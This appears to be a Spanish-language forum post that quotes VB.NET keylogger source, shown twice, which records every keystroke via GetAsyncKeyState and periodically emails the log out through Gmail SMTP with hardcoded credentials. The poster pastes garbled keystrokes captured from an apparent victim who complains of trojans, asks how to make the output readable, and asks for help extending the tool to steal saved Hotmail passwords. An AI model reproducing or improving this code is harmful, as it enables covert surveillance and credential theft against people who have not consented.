Citar
Imports System.Web
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("universalprjct@gm ail.com", "furryman")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("PON AKI TU CUENTA DE GMAIL")
mail.From = New MailAddress("username@gmail.com")
mail.Subject = "Universal Keylogger"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
End
End Sub
End Class
Imports System.IO
Imports System.Net.Mail
Public Class Form1
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
End Sub
Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
Dim mail As New MailMessage()
Dim SmtpServer As New SmtpClient
SmtpServer.Credentials = New Net.NetworkCredential("universalprjct@gm ail.com", "furryman")
SmtpServer.Port = 587
SmtpServer.Host = "smtp.gmail.com"
SmtpServer.EnableSsl = True
SmtpServer.EnableSsl = True
mail.To.Add("PON AKI TU CUENTA DE GMAIL")
mail.From = New MailAddress("username@gmail.com")
mail.Subject = "Universal Keylogger"
mail.Body = TextBox1.Text
SmtpServer.Send(mail)
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
End
End Sub
End Class
Cuando te llega al hotmail te llega de está manera con estos símbolos, quisiera saber como ponerlo para que salga normal lo que escribe.
Citar
QE ES ¡Û
¡NO ME SALE
NADA
QUITAMELO
½¾½Û
¡ ¡MIF GUE
JO ODAS
YA ME E METES TROYANOS¾¾
ENCIMA DE K TE SUBO ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡
KITAMELO
½¾½Û
½
MIGUE ¡Û
KITAMELO TIO
DIO ¢ ¢ ¢ ¢ SCUCHO
¢ ¢ ¤ ¤ ¤.CO ¢ EN PROCESOS NO
¡Û
COMO
SE LLAMA
¡Û
NO ME SALE
FORM JODER TIO
K NO ¢
PERO
MIRA
NO HAY NADA DE ESO
A K LE DOI
¡0Û
YA LE DI
NO SALE NADA
NO SALE TIO
NADA
K ASKO
NL
K *****
¡NO ME SALE
NADA
QUITAMELO
½¾½Û
¡ ¡MIF GUE
JO ODAS
YA ME E METES TROYANOS¾¾
ENCIMA DE K TE SUBO ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡ ¡
KITAMELO
½¾½Û
½
MIGUE ¡Û
KITAMELO TIO
DIO ¢ ¢ ¢ ¢ SCUCHO
¢ ¢ ¤ ¤ ¤.CO ¢ EN PROCESOS NO
¡Û
COMO
SE LLAMA
¡Û
NO ME SALE
FORM JODER TIO
K NO ¢
PERO
MIRA
NO HAY NADA DE ESO
A K LE DOI
¡0Û
YA LE DI
NO SALE NADA
NO SALE TIO
NADA
K ASKO
NL
K *****
Y una pregunta sería posible que ese keylogger recopilara todas las contraseñas guardadas en el pc con los hotmail... ? se supone que si pero nose muy bien si me hechan una mano por donde va la cosa... muchas gracias.